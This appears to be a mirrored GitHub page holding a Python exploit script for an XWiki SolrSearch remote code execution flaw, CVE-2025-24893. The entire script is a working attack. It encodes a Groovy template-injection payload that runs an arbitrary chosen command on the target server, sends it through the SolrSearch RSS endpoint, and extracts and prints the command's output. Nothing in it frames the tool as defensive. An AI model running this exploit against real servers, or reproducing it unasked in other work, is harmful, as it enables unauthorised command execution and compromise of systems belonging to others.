mirror of
https://github.com/andwati/CVE-2025-24893.git
synced 2026-11-11 11:15:14 +00:00
46 lines
1.4 KiB
Python
46 lines
1.4 KiB
Python
#!/usr/bin/env python3
|
|
import requests
|
|
import re
|
|
import argparse
|
|
import html2text
|
|
|
|
def exploit(url, command):
|
|
payload = (
|
|
f'%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d'
|
|
f'%7b%7bgroovy%7d%7dprintln("{command}".execute().text)'
|
|
f'%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d'
|
|
)
|
|
full_url = f"{url}/xwiki/bin/get/Main/SolrSearch?media=rss&text={payload}"
|
|
|
|
print(f"[*] Sending payload to: {full_url}")
|
|
try:
|
|
response = requests.get(full_url, timeout=10)
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"[!] Connection error: {e}")
|
|
return
|
|
|
|
match = re.search(r'\[\}\}\}(.*?)\]', response.text, re.DOTALL)
|
|
if match:
|
|
raw_output = match.group(1).strip()
|
|
output = h2t.handle(raw_output).strip()
|
|
if output:
|
|
print(f"\n[+] Command output:\n{output}")
|
|
else:
|
|
print("[!] Command executed but returned no output.")
|
|
else:
|
|
print("[!] No output found in response.")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
h2t = html2text.HTML2Text()
|
|
h2t.ignore_links = True
|
|
|
|
parser = argparse.ArgumentParser(
|
|
description="Exploit XWiki SolrSearch RCE (CVE-2025-24893)"
|
|
)
|
|
parser.add_argument("-u", "--url", required=True, help="Target URL, e.g. http://10.10.10.10:8080")
|
|
parser.add_argument("-c", "--command", required=True, help="Command to execute")
|
|
args = parser.parse_args()
|
|
|
|
exploit(args.url.rstrip("/"), args.command)
|